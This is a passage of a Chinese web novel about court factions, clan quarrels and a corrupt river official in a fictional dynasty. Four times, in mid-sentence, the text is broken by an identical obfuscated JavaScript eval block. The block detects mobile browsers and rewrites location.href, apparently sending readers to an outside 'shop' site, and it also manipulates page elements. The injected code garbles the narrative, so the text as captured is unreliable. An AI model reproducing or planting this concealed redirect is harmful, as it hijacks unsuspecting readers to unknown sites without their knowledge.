面对众人夹击,一直闭目养神的白敬德,终于缓缓睁开了眼睛。他没有动怒,而是缓缓站起身,高大的身躯,散发出一股不怒自威的气场,瞬间压下了所有的嘈杂,他目光扫过在场的每一位长老,最后落在老二白敬安身上。 “第一……我白家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766975|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乃三代帝师,百年清流,靠的是‘忠’字立足!太子乃国之储君,无论贤愚,只要一日未废,我白家便要一日效忠。这,是我白家的立身之本,是写在祖宗牌位上的家训!谁敢动摇?” 他字字千钧,手指牌位,祠堂内瞬间鸦雀无声。 “第二,”他冷哼一声,眼神里满是鄙夷,“晋王?哼,不过一介武夫。其母家陈氏,乃是外戚,竟在朝中安置亲属,执掌重权。自古以来,皇权最忌惮的是什么?便是外戚干政,武人坐大!你们以为投靠晋王是捷径?我看是自取灭亡之道!” 这番话,如同一盆冰水,兜头浇在了蠢蠢欲动的人心上。 白敬德没有再看他们,语气里带着一丝无人能懂的骄傲:“逸襄所行自有他的道理,此乃大义,尔等未必能懂。有时候,很多事,不是动动嘴皮子,满嘴仁义道德,便能解决的。凡是,要退一步,才能看得更清楚。” “大哥,我看你是在袒护你的好大儿!”二长老白敬安急道。 “住口!你懂什么?”白敬德冷哼一声,甩开袖子,“此事,我自有分寸,尔等休要再言!” 宗族会议,本就没什么强大效力,白敬德族中地位在那,又是当朝太傅,他向来说一不二。事实上,谁也无法真的插手白敬德的家事,顶多就是过过口舌之瘾,不成气候。 几位长老面面相觑,再无声息。 …… 当晚的家宴,气氛显得有些压抑。 几位参与了祠堂议事的族中叔伯也被留了下来,众人围坐一桌,只有碗筷碰撞间发出的轻微声响。 白敬德坐在主位,脸色难看,显然祠堂里的那番争执,让他至今怒气未消。 坐在最下手白岳枫喝了几杯酒,并未注意氛围不对,自觉此次宗族长老在此,机会难得,便端起酒杯,阴阳怪气地道:“说起来,逸襄堂兄最近真是红遍京城啊,这为了小青官大闹清音阁之事刚过没多久,此次南下,却又有惊人之举,一座功德碑,便让我白家的‘美名’传遍了大街小巷,连三岁小儿都知道,他身为太子詹事,不敦促太子治水,反而劳民伤财修建功德碑,还在上面题词……” 此番讥讽却未换来几位叔伯注目,反而皆是面露尴尬,不知该如何接话。 厅内氛围顿时肃杀到极点,白岳枫愣了愣,正感不解之际,却见白敬德黑着一张脸,抬起了筷子。 “啪!” 一声脆响,白敬德手中的象牙箸重重地拍在了桌上。 满桌的人都被吓了一跳,齐刷刷地看向他。 白敬德一双蕴含风暴的眼睛,冷冷地、如利剑一般,直刺向白岳枫。 “逸襄在千里之外,为国分忧,为家族筹谋。你呢?”他的声音不大,却威慑十足,“你又做了什么?整日游手好闲,在外结交匪类,流连风月,在内搬弄是非,离间骨肉,你,对得起你那惨死在外的父亲吗?” 白敬德字字诛心,白岳枫陷入短暂的失智,他从没想过自己一番话会让白敬德盛怒于此。以往从未有过的……碍于父亲的关系,白敬德对他一直还算客气。可如今……是何缘故? 白岳枫下意识地想要辩解:“大伯,我……” “孽畜!”白敬德一声爆喝,陡地站起,指着白岳枫道:“再让我听到你非议兄长半个字,家法处置!” 白敬德排山倒海般的怒火倾盆而下,白岳枫彻底僵住。他脸上血色尽失,端着酒杯的手,开始不受控制地颤抖。 他震惊,更怨恨。他没想到,一向对他还算宽和的大伯,竟会为了那个声名狼藉的白逸襄,当着这么多长辈的面,如此不留情面地训斥自己! 一顿家宴,也因此不欢而散。 白岳枫失魂落魄地回到自己的院子,将自己关在房中。窗外清冷的月光照进来,映出他那张因怨恨而扭曲的脸。 他攥紧了拳头,指甲深深地嵌入了掌心。 白逸襄……白敬德…… 你们等着! 17. 第 17 章 雍州的秋雨,连绵不绝,将整个行辕都笼罩在一片湿冷的愁云惨雾之中。 太子赵钰将一卷竹简摔在地上,对着满屋的幕僚怒吼道:“废物!通通都是废物!童谣传得天下皆知,你们就没一个人能想出个对策来吗?” 屋内的幕僚们个个噤若寒蝉,头垂得几乎要埋进胸口里,连身为东宫詹事的白逸襄也“羞愧难当”,低头不语。 赵钰摇摇头,连白逸襄都没有办法,那就真的无法挽回了。 的确,那首童谣就像是长了腿的鬼火,一夜之间便烧遍了整个京城,堵住了这家茶楼,又从那家酒肆冒了出来,根本无从下手。 更让他焦头烂额的,是三日前,父皇派来的那位监察御史。 那老头姓钱,是御史台出了名的“铁面判官”,油盐不进。他一到雍州,既不拜见太子,也不理会地方官的宴请,只是每日板着一张脸,领着几个小吏,在灾民营和河堤工地上来回巡查。 他只看,只记,不与人说话,连自己的面子也不给。 那老头浑浊而锐利的眼睛,想起来就让他寝食难安。 就在太子内外交困、焦头烂额之际,张茂神色凝重地快步走了进来,他来到太子身边,在耳边说了句话,太子便立即屏退了左右。 待闲杂人等尽数离开,张茂才将一封信呈到了赵钰的面前。 “殿下,”他压低了声音,语气里带着一丝难以抑制的怒火,“是白府二郎白岳枫的密信。” 赵钰皱了皱眉,拆开了信。 张茂探头看了过去,见太子没有反对,便大胆的跟着阅览起来。 那信里先是将白逸襄在清音阁之事形容为“蓄谋已久,意在攀附秦王”,接着,便将那晚的家宴绘声绘色的描写了一遍,重点突出了白敬德如何为了“声名狼藉”的白逸襄而当众斥责他。 看着看着,张茂轻声读了出来,且声音越来越大:“……堂兄离京前一日,曾与温氏女深夜于后园会面,形迹可疑。温氏一族,素与侍中谢安石过从甚密。而近日,家父竟也一反常态,对谢安石呈上那套‘募工兴利’的荒唐之言大加赞赏!而草民四下打听,原来那“募工兴利”之策是秦王赵玄提出的,因此,草民斗胆揣测,白家,恐有异心!” “这!这!”赵钰还未看完,一旁的张茂已经嚷嚷起来。“反了!真是反了!” 张茂双目赤红,咬牙切齿地道:“殿下,臣早就说过,那白逸襄心机深沉,不是易于掌控之辈!您看看,这不就应验了!他们白家,这是在玩两面三刀的把戏!明面上派白逸襄来辅佐您,暗地里却通过温家和谢安石,去吹捧秦王那套所谓的‘治水良策’!他们是一边用功德碑帮您败坏名声,一边又让谢安石去陛下面前给秦王邀功!这是要给他们白家,留一条投靠新主的后路啊!” 这封来自白家内部的告密信,彻底证实了张茂心中所有的猜忌。在他看来,白家的背叛,已是板上钉钉的事实。 然而,出他所料,太子赵钰却在最初的震怒过后,缓缓地冷静了下来。 赵钰将那封信纸慢慢地揉成一团,又缓缓地展开,反复看了两遍。那双与皇帝有七分相似的眸子里,闪烁着复杂难明的思绪。 “茂卿,”他忽然开口,声音平静得有些可怕,“你觉得,这信中的内容,会是谁想让孤看到的?” 张茂一愣:“殿下,这……这自然是白岳枫……” “愚蠢!”赵钰低声骂了一句,将信纸扔在桌上,“白岳枫不过是个被嫉妒冲昏了头脑的棋子!你动动脑子想一想,孤若是在此刻,因这封信与白逸襄反目,最高兴的,会是谁?” 张茂的额头,瞬间渗出了一层冷汗。他嗫嚅着,半晌才吐出两个字:“是……是秦王……和晋王……” “这便是了。”赵钰冷笑一声,重新靠回椅背,眼神变得幽深起来,“此计,名为‘离间’。他们是想让孤自断臂膀。若孤真的信了,那才是正中他们的下怀。” 张茂听得心惊胆战,连忙请罪:“殿下圣明!是臣……是臣愚钝!” 赵钰摆了摆手,他虽然看破了这层离间计,但白家……真的就那么清白吗? 书房内,陷入了一阵沉寂。 良久,赵钰才再次开口道:“传孤之令。” “从今日起,对白詹事,要加倍的礼遇。凡行辕之内所有供奉,皆分他一半。孤要让所有人都知道,白逸襄,依旧是孤最信任的肱股之臣。” “殿下?”张茂不解地抬起头,“这……这又是为何?” 赵钰的嘴角,勾起一抹冰冷的弧度,“茂卿,你以为,白逸襄当真是世人眼中那个不食人间烟火的‘麒麟儿’吗?你错了。” 他站起身,踱到窗边,看着窗外迷蒙的雨雾,悠悠地道:“他对外是高洁名儒,对内却暴虐凌下。他会因一个戏子而冲冠一怒,也会为了粉饰太平而亲撰碑文。这说明,他不是什么圣人,与常人无异,也是个贪慕虚荣、追名逐利的俗人。” “对付君子,要用道理。而对付俗人……”他转过身,眼中闪烁着自信的光芒,“用‘好处’,就足够了。” “孤不信他白逸襄,能抵挡得住这泼天的恩宠和权势。孤要用这恩宠做枷锁,用这权势做牢笼,将他牢牢地锁在东宫这条船上!”太子顿了顿,语气变得更加阴沉,“待孤将来功成,这天下……便是孤的天下。届时,他白逸襄,是忠是奸,是死是活,对孤来说,再无意义。” 张茂怔怔地看着太子,觉得他的话很有理,又总觉得哪里不对。 他没时间多想,忙道:“殿下……英明!” * 清平郡阴雨连绵不绝,白逸襄的日子也如坐针毡。 赵钰这几日赏赐不断,先是赏了几匹上好的蜀锦,几方名贵的端砚。紧接着,太子又以“白詹事劳心费神,清瘦了许多”为由,命御厨每日为他单开小灶,燕窝、雪蛤、鹿茸等滋补之物,源源不断的送来。 张茂更是每日早晚两次前来问安,嘘寒问暖,那份殷勤,几乎让整个行辕的幕僚和官员们都看红了眼。 白逸襄看着那些琳琅满目的赏赐,又想起那日张茂与太子在收到密信后,投向自己那夹杂着审视与狠厉的眼神,心中已有了一番思量。 再结合昨日父亲从京城寄来的家书,信中痛斥白岳枫的恶劣行径,他几乎可以断定,那封让太子对自己态度大变的密信,正是出自他那位“好堂弟”之手。 他不知白岳枫会如何构陷自己,从太子的态度上看,应当不是什么天大的事情。 白岳枫的话,太子并非全然不信,只是暂时还需用他,这赏赐,是恩宠也是警告。 白逸襄想通了其中缘由后,翌日,便称病不出,以避锋芒。 太子听闻后,派来了随行的太医。 此刻,须发斑白的老太医,正搭上白逸襄手腕上诊脉。 太医手捻胡须,微闭双眼,眉头时紧时松,半晌后,才收回手,恭敬地道:“白詹事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766976|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您这是……郁结于心,思虑过甚,导致气血不畅。旧疾未愈,又添新愁,切忌再劳心费神了。” 白逸襄闻言,剧烈的咳嗽起来。 “多谢……多谢先生……”他一边喘息,一边问道:“我这病,怕是一时半会儿好不了了……只是不知,下游的灾情……近日如何了?太子殿下……可有何良策?” 老太医皱了皱眉,从脉象上看,白詹事的身体,无任何缘由咳嗽的如此剧烈……连日的用药也不见好转。 他甚至开始怀疑自己是否学艺不精了。 “唉,白詹事,你此时应该多休息,不应再烦心政务了。” “无妨,残躯若不能为殿下分忧,不如一死。” 太医叹了口气,无奈道:“殿下仁厚,心系万民。只是这地方上的官吏,盘根错节,一个个都滑不留手。报上来的情况,皆是‘一切安好,民心安定’。殿下每日里被他们围着,听到的、看到的,都是粉饰过的太平。纵有雷霆之志,亦是……亦是无奈啊。” “那真是……难为殿下了……” “太子近日也是郁结于心,思虑过重。”太医摇摇头,拱手道:“詹事且修养时日,老夫告退。” 白逸襄虚弱的点点头,“先生慢走。” 待门外的脚步声渐渐远去,直到整个院落都恢复寂静,榻上气若游丝的白逸襄,突然坐了起来。 “石头。” “哎,郎君。” “去门口守着,我今晚谁也不见。” “好嘞!”石头瓮声应了一句,快步走到门口,带上了房门。 白逸襄利索的下床,走到桌案前,原本因体虚而微弯的脊背,此刻挺得笔直如松。 这副身体虽然底子太差,但重生后日日调养,闲时吐纳练气,活动筋骨,已然大好,早已不需人搀扶才能行走。 那老太医或许能看出一些端倪,但强壮如牛的石头尚能被诊出身体湿热,肝火过旺,自己这身体状态,也不可能是全然无病。 白逸襄不作多想,点亮了桌上的油灯,铺开一张宣纸,提起笔,蘸饱了墨。一幅关于黄河上游的详细舆图,以及一套更为激进、也更为凶险的计划,开始在他脑中飞速成型。 然而,笔尖还未落下,书房的窗户,突然“吱呀”一声打开,随即夜风吹进,烛火猛地摇晃,几乎熄灭。 白逸襄皱了皱眉头,正要起身关窗,却瞥见一个黑影,竟借着风势,如同一片没有重量的落叶,悄无声息地从窗外飞身进来! 那动作迅捷、流畅,落地时甚至没有发出一丝声音。 “谁?!” 白逸襄厉声喝道,本能地将手中毛笔朝着黑影掷了过去! 那黑影身形一晃,便鬼魅般地欺身而上。白逸襄只觉得眼前一花,一股凌冽的杀气已扑面而来! 白逸襄心中大骇,急急后退,同时运气高喊道:“石头!有刺……客……” 他的喊声还未完全出口,一道冰冷的寒光划过,抵在了他的咽喉之上。 快!太快了!他都没看清对方的动作。 白逸襄的身体瞬间僵住,再不敢有半分动作。 那个将他制住的刺客,浑身都笼罩在黑色的夜行衣中,只露出一双冷萃黝黑的眼睛。 “石头?”对方低沉沙哑的声音从面罩下传来,“你说的是门口那个大块头吗?” 白逸襄眨了眨眼,当作是肯定。 “他睡得正香,不会进来了。” 18. 第 18 章 白逸襄心中一凛,道:“壮士意欲何为?” 那黑衣人没有回答,另一只手从怀中取出一个小巧的、用油布包裹得严严实实的竹筒,直接塞进了白逸襄手里。 “主人的信,”那沙哑的声音再次响起,简短而冰冷,“立即回信。” 竹筒入手,还带着一丝余温。 白逸襄微微点了点头,示意自己明白。 那抵在喉间的匕首,这才退去。黑衣人后撤一步,身形便如鬼魅般融入了房间最深的阴影里,仿佛从未出现过。但白逸襄知道,那双鹰隼般的眼睛,正从黑暗中一瞬不瞬地盯着自己。 白逸襄没有浪费时间,迅速解开油布,从竹筒中倒出了一卷书信。 展开信纸,上面一行两行大字:白子已至上游,静待黑子落定。 白子……黑子…… 熟悉的字迹…… 是赵玄的信! 这是他们那日在竹林馆对弈时,所执棋子的颜色。 白逸襄瞬间了然,这是赵玄在告诉他,他的人马已经顺利抵达上游,现在,看他白逸襄有何见解。 那个黑衣人,原来是赵玄的人! 前世赵玄死的太早,关于赵玄的一切仿佛随着他的死亡一起销声匿迹,以至于白逸襄竟然不知对方养了此等神仙人物! 这个传信方式,真是……闻所未闻! 白逸襄略显激动的看了看黑暗的角落,感受到对方冰冷的注视,白逸襄连忙收回视线,不再迟疑,提起笔,迅速在纸上用同样简练的笔触回了四个字: “棋盘已布,随时听令。” 写完,他将纸条重新卷好,塞回竹筒。 “拿去。”他将竹筒丢向黑衣人方向。 那黑影稳稳接住,便再无声息。 整个房间,陷入死一般的寂静。 若不是脖颈上还残留着一丝冰冷的触感,白逸襄几乎要以为刚才的一切只是自己的一场幻梦。 走了? 白逸襄在窗边静立了片刻,确认黑衣人已经离开,才转身快步走出房门。 门口,石头果然躺在冰冷的石阶上,靠着门柱,睡得正香,嘴角甚至还挂着一丝晶莹的口水,喃喃地念叨着“鸡腿”、“烧饼”之类的梦话。 “石头!” 白逸襄推了推他。 “……嗯?郎君?”石头打了个激灵,茫然地揉着眼睛,“怎么了?天亮了吗?” “有人来过。”白逸襄的声音很沉。 石头瞬间清醒,猛地站起,环顾四周,“什么?谁?俺……俺怎么一点都没察觉?” 白逸襄看着他那副全然不知的模样,心中微微一叹。 “无妨,”他拍了拍石头的肩膀,“那人武功太高,你察觉不到,也属正常。” 能让石头这般体格的人,在不知不觉中便中了招,对方用的恐怕不是什么迷药,而是一种极高明的锁穴或是摄魂之术。 这种判断,让白逸襄更觉赵玄深不可测。 堂堂皇子,为何会豢养此等人物?即使有百种理由,暴露在皇帝的注视之下,哪有人真能有机会接触到这样的高手? 至少,据他死后所看到的,当朝皇子,除了赵玄,并无一人身边藏有这样的能人。 赵玄……到底经历了些什么? “郎君,俺该死!”石头懊恼地一拳砸在自己脑门上,打断了白逸襄的思绪。 “无碍。”白逸襄抬手制止他再伤害自己,“此事绝不许对任何人提起,回屋去睡吧,今夜……不会再有人来了。” 说罢,他转身回了书房,重新关上了门。 石头挠了挠头,依旧是一脸的困惑与不解,但郎君的命令他从不违背,只好闷闷不乐地回了自己的值房。 书房内,烛火重新被点亮。 白逸襄看着桌上那张只写了个开头的舆图,叹道:李世昌这难啃的骨头,恐怕会让赵玄陷入困境。 赵玄的下一封信,应当很快便会送到。 * 自那日揭破河堤内部的劣质石料后,赵玄的营帐便成了整个黑石峡的暴风眼。 朔津郡河道水监李世昌每日卑躬屈膝地前来请罪,带来的属官换了一批又一批,个个赌咒发誓要“彻查到底,严惩不贷”,那副痛心疾首的模样,仿佛他们才是最大的受害者。 赵玄手下的官员各个义愤填膺,恨不得杀之而后快,赵玄却冷眼旁观着朔津官吏们这场拙劣的戏码,心中通明如镜。 在没有绝对铁证之前,与李世昌这条在朔津郡盘踞了二十年的地头蛇硬碰硬,绝非上策。 打蛇,需打七寸。而一个贪官的七寸,永远都在他那见不得光的账本上。 “殿下,您要的人到了。”彭坚领着一个三十岁上下的文士走进了营帐。 那文士身形瘦削,面容白净,穿着一身洗得发白的青衫,眉宇间带着一股常年与钱粮数字打交道而养成的、近乎苛刻的严谨之气。他并非赵玄从京城带来的官员,而是白逸襄昨日给他的密信中,特别提及的一位朔津寒门奇才——沈酌。此人酷爱算学,曾在户部做了十年默默无闻的小主簿,后因不善社交,得罪了同僚里得贵族郎君,被贬为庶民。 白逸襄道:此人对核查亏空、审计账目有着近乎猎犬般的敏锐嗅觉。又尊崇儒学,为人正派,可堪重用。 言下之意,便是此人可收为己用。 “草民沈酌,参见秦王殿下。”沈酌躬身行礼,不卑不亢。 “沈先生免礼。”赵玄抬手虚扶,“此番,要劳烦先生了。” 赵玄没有绕弯子,直接将朔津河道署近三年的工程账簿,如小山一般堆在了沈酌面前。这些账本,是他以“核对工期,统筹款项”为由,从朔津官署调出。李世昌当时满口应下,甚至还“贴心”地派了两个主簿先生前来协助,那副坦荡磊落的模样,让人心生疑窦。 沈酌一见到那些账本,并未言语,只是走到那堆积如山的账册前,随手抽出一本,指尖沾了点口水,书页便在他手中“哗哗”地翻动起来,速度之快,令人眼花缭乱。 接下来的三日三夜,沈酌便将自己彻底锁在了这间临时改造的帐房里。他仿佛化作了一台不知疲倦的机器,每日只睡不到两个时辰,饭食也是由人送到帐内胡乱扒拉几口。彭坚数次进去探望,看到的都是同一副景象:沈酌伏于案前,一手飞速地拨动着算盘,发出清脆而密集的“噼啪”声,另一手则在草纸上飞快地记录着什么,口中还念念有词,全是些外人听不懂的术语。 赵玄没有催促,他给了沈酌绝对的信任和时间。 直到第四日的清晨,面色憔悴、眼窝深陷的沈酌,才抱着一摞核算整理好的新账册,走进了赵玄的营帐。他的眼神里,没有找到破绽的兴奋,反而带着一股深深的、几乎是匪夷所思的困惑与凝重。 “殿下。”他将账册轻轻放在赵玄面前,声音因数日未眠而沙哑得厉害。 “先生辛苦了,”赵玄亲自为他倒了一杯热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766977|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶,“如何?可有发现?” 沈酌没有碰那杯茶,缓缓摇头道:“回殿下,下官无能……账,查完了。但是……” 他抿了抿干裂的嘴唇,似乎在寻找一个合适的措辞。 “但是,从账面上看,这朔津河道官署,不仅没有任何亏空,反而……堪称我大靖官场之楷模。” “什么?”一旁的彭坚闻言,几乎以为自己听错了,他一个箭步冲上前,拿起一本账册,“沈先生,你没算错吧?那些豆腐渣一样的河堤摆在那,怎会没有亏空?” 沈酌抬起眼,看了彭坚一眼,“彭将军,账目,是不会骗人的。” 沈酌指着账册上密密麻麻的条目,逐一解释道:“殿下请看,这是永嘉十三年,黑石峡段的开山工程。这一笔,采买石料,用银三万七千四百二十六两,有工部的批驳,有采石场的收据,连运送石料的船夫签押都一应俱全。下官派人暗中核对过,那家采石场确实存在,收据上的印信也分毫不差。” “这是永嘉十四年春,疏浚河道的劳务支出。共计雇佣民夫一万两千三百余人,每人每日工钱三十文,工期四十五日,共支银一万六千六百余两。名册在此,每一名民夫的姓名、籍贯、画押,都记录在案。下官随机抽查了其中百人的户籍,皆能对上。” “还有这笔,为河工采买冬衣布料、采买米粮药材的开支……每一笔,无论大小,都记录得清清楚楚,凭证齐全,人证物证,环环相扣。别说是亏空,便是想找出半分错漏,也绝无可能。” 沈酌的语气越来越激动,他指着账册的最后一页,那上面用朱笔汇总的总账,声音里甚至带上了一丝敬佩。 “最令人匪夷所思的是这里,殿下,”他几乎是咬着牙说道,“按账面核算,朔津河道署这三年来的总开支,比朝廷下拨的款项,竟多出了二十七万四千两白银!这笔巨大的亏空,账面上注明的竟是……‘水监李世昌,毁家纾难,变卖祖产,倾囊以补之’。后面还附有李家在京城和朔津几处田庄、店铺的变卖契书,以及银庄的流水票根为证!” 他说到这里,抬起头,那张因疲惫而苍白的脸上,写满了荒谬与挫败。 “殿下,恕草民直言。若单从这账面来看,李世昌非但无过,反而有功。他不仅是一位殚精竭虑、精打细算的能臣,更是一位品德高尚、为国为民的圣人。我们若是以‘贪墨’之名治他的罪,恐怕……天下人都不会信。” 整个营帐,陷入了死一般的寂静。 彭坚及其他僚属都怔在原地,脸上的表情从难以置信,到愤怒,再到茫然。都知道这其中必有猫腻,可那滴水不漏的证据链,却让众人无从反驳。 赵玄猛地起身,神色凝重看着“完美”的账册。 接着他背手走了几步,思量再三,温声道:“先生辛苦了,先下去歇息吧。” “是。”沈酌躬身告退,背影满是无力之感。 赵玄的目光,随着沈酌的背影看向风中飞舞的帐帘。 李世昌背后,是一个组织严密、分工明确、能量惊人的集团。他们不仅买通了下至船夫、上至工部的各级人员,甚至连京城的银庄和田产交易,都能做到天衣无缝的配合。这张用金钱和权力织就的罗网,早已将整个朔津,都网罗其中。 简直让他刮目相看。 赵玄坐回榻上,盘玩着手中的扳指,这一习惯性的思考动作,让帐中官员们都不敢作声。 良久,赵玄看向众人,问道:“各位有何高见? 19. 第 19 章 秦王僚属冯玠,忙道:“殿下,既然无法从外部找到突破口,那便从其内部攻破。只要能将咱们的人安插进河道官署的关键岗位,就不愁找不到李世昌的狐狸尾巴。” 赵玄点点头,示意他继续。 冯玠道:“臣以为,第一个目标,便是河道衙门的“工务司丞”。这个职位品级不高,仅为七品,却是掌管所有工程物料采买、验收的实权岗位。只要控制了这里,河堤工程的猫腻便无所遁形。” 赵玄道:“你有人选吗?” 冯玠道:“殿下的亲随之中,有一位名叫郑彦的郎官。此人出身将门,为人耿直,最是容不得半点偷奸耍滑之事,由他来担此任,再合适不过。” 赵玄道:“好,此事便由冯卿去办吧。” 冯玠领命,众人散帐。 彭坚不解,退回到帐中,问道:“殿下,那李世昌怎肯让咱们安插亲信进去?” 赵玄轻笑:“眼下所行之事,皆为障眼之法。” 彭坚仍是不解深意,但见赵玄似乎已有考量,便不再追问,躬身退出。 两日后的傍晚,冯玠果然无功而返,向赵玄请罪。 冯玠愤慨道:“那工务司的现任司丞,年事已高,已有精力不济之象。我几番举荐,那李世昌却总有理由推脱,最后竟然安排他的主簿顾尚接任。那顾尚乃是李世昌一手提拔起来的姻亲,说是李世昌的左膀右臂也毫不为过。让他去查工务司,无异于让狼去看管羊圈。” “臣每一次提议,都被李世昌用各种滴水不漏的“祖制”、“惯例”、“为殿下着想”的理由,四两拨千斤地挡了回来。几天交锋下来,竟然连一个最末等的胥吏都安插不进去。整个朔津河道官署,上至六品水监,下至不入流的门房杂役,竟皆是李世昌经营多年的人马。他们彼此勾连,互为犄角,形成了一个针插不进、水泼不进的独立王国。” “臣甚至请来朔津郡守与李世昌斡旋,李世昌都以各种理由搪塞回去。” “他竟然连郡守的面子也不给?”另一位秦王僚属陈岚道。 “这其中必有蹊跷。” “或许朔津郡守也是郭亮的人,只是配合李世昌演戏。” 众僚属你一言我一嘴,将目前的形势分析的七七八八。 在场唯一武官彭坚越听越头大,最后恨恨的道:“查来查去,我算是看明白了,这些人就像地里的田鼠,你堵住东边的洞,它就从西边探出头来;你把西边的也堵上,它能在你脚底下再刨个新的,真是生生不息,没完没了。” 陈岚听了彭坚的话,忙道:“彭将军所言极是,此事如理乱麻,一引千丝动;又如探蛛网,触一隅而全局皆震。” 赵玄则默默听着众人的对话,不发一言。 他虽是早有预料,真正发生,仍是让他心中愤慨。 如此烫手山芋,难怪人人推诿不敢领命。 父皇眼线虽多,但鞭长莫及,又因地方种种问题,根深蒂固,牵一发动全身,不但涉及众多权贵的利益,还可能牵出众多贪墨舞弊案。皇权在地方并非万能,连他这位领受钦命的王爷他们都敢如此应付,其他官员,怕是要么被贿赂成了这一链条中的一环,要么便是被陷害打压,无法与之对抗。 赵玄紧了紧拳头,骨节处微微泛白。 苦思无果后,他脑海中隐约浮现出一个人影。 白逸襄,他的治水上策虽在治理水患上确实是最优方案,但实施起来并非易事,如今他安插一个自己的官员进入河道署都是如此困难,更别提将这根拦路的大树连根拔起了。 此刻,若是他,会有何应对之法? …… 当晚,一抹黑影潜入秦王帐内,带走了秦王的手信,悄然离开,无声无息。 …… 在经历了查账和人事上的双重碰壁后,赵玄不再有任何动作,每日只是如常地去河堤上巡视,与河工们一同吃着粗粝的饭食,仿佛真的只是来体验民情一般。 他的这份“隐忍”,在李世昌看来,却是“黔驴技穷”的无奈。 李世昌自觉已经彻底摸清了这位秦王殿下的底细——不过是个好名声、爱做表面文章的年轻皇子罢了。自己只要将这表面文章做得足够足,便可高枕无忧。 于是,在赵玄抵达朔津的第十日,一场“接风洗尘”大宴,在朔津郡官园,畅春园内摆开。 畅春园内,从京城请来的顶级乐班奏着靡靡之音,舞姬们的水袖在金碧辉煌的灯火下翻飞如蝶。宴席之上,山珍海味,水陆毕陈,光是盛酒的器皿,都是价比黄金的琉璃盏。朔津府有头有脸的官员和地方士绅,悉数到场,一个个满面红光,谈笑风生。 这歌舞升平的景象,与几十里外那愁云惨淡的河工营地,恍若两个世界。 赵玄被奉于主位,他面无表情地看着眼前的一切,沉默地喝着杯中的酒。彭坚和几位亲随立于他身后,每个人脸色铁青。 酒过三巡,菜过五味。 李世昌端着酒杯,甩着宽大的袍袖,摇摆地走到了中央。 他先是对着赵玄行了一礼,随即,那张因饮酒而涨得通红的脸上,竟毫无征兆地,挤出了两行浑浊的泪水。 彭坚皱眉,手中的刀柄握得紧了些。 “殿下!” 李世昌一声悲呼,瞬间便让满堂的嘈杂都安静了下来。 所有人的目光,都聚焦到了他的身上。 李世昌用袖口抹了抹那并不存在的眼泪,哽咽着说道:“殿下……您可知,下官……下官盼您来,盼了多久了吗?” 他环顾四周,对着满座宾客,开始了他声情并茂的演讲。 “想当初,下官奉旨来这朔津治河,一晃,已是十年!这十年里,下官是食不知味,夜不能寐啊!黄河之水,如悬顶之剑,下官一日不敢松懈!为了勘察水文,下官曾顶着腊月的风雪,在黑石峡的冰面上,一走就是三天三夜,回来时,两条腿都冻得没了知觉!” 他顿了顿,给自己灌了一大口酒,情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766978|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得更加激动。 “为了赶上工期,下官……三过家门而不入!我那八十岁的老母病重,弥留之际,派人快马加鞭唤我回去见最后一面。可当时,正值秋汛将至,河堤有一处关键的豁口尚未合龙,下官……下官只能朝着京城的方向,遥遥叩了三个响头,这一别,竟是天人永隔啊!” 说到此处,他已老泪纵横,泣不成声。在座的不少官员,也纷纷跟着红了眼眶,掏出帕子来擦拭眼角,场面感人至深。 站在赵玄身后的彭坚,手筋暴起,几乎要将那刀柄捏碎。 李世昌哭诉了半晌,这才缓过劲来,他话锋一转,指向在座的诸位官员,用一种无比自豪的语气说道:“殿下,下官一人之苦,不足挂齿。可我朔津河道官署上上下下这数百位同僚,他们哪一个,不是为了这治河大业,抛家舍业,呕心沥血?我们工务司的周主簿,为了核算一笔石料的账目,熬了七个通宵,竟累得吐了血!我们巡河道的王校尉,在一次勘探中,失足落水,险些被激流卷走,是手下弟兄拼死才救了回来!” 他唾沫横飞,将他手下的那群贪官污吏,一个个都塑造成了公忠体国、劳苦功高的栋梁之材。 最后,他再次转向赵玄,脸上带着一种近乎圣洁的光辉,做出了一个让所有人都始料未及的举动。 他“扑通”一声,双膝跪地,对着赵玄,重重地磕了一个响头。 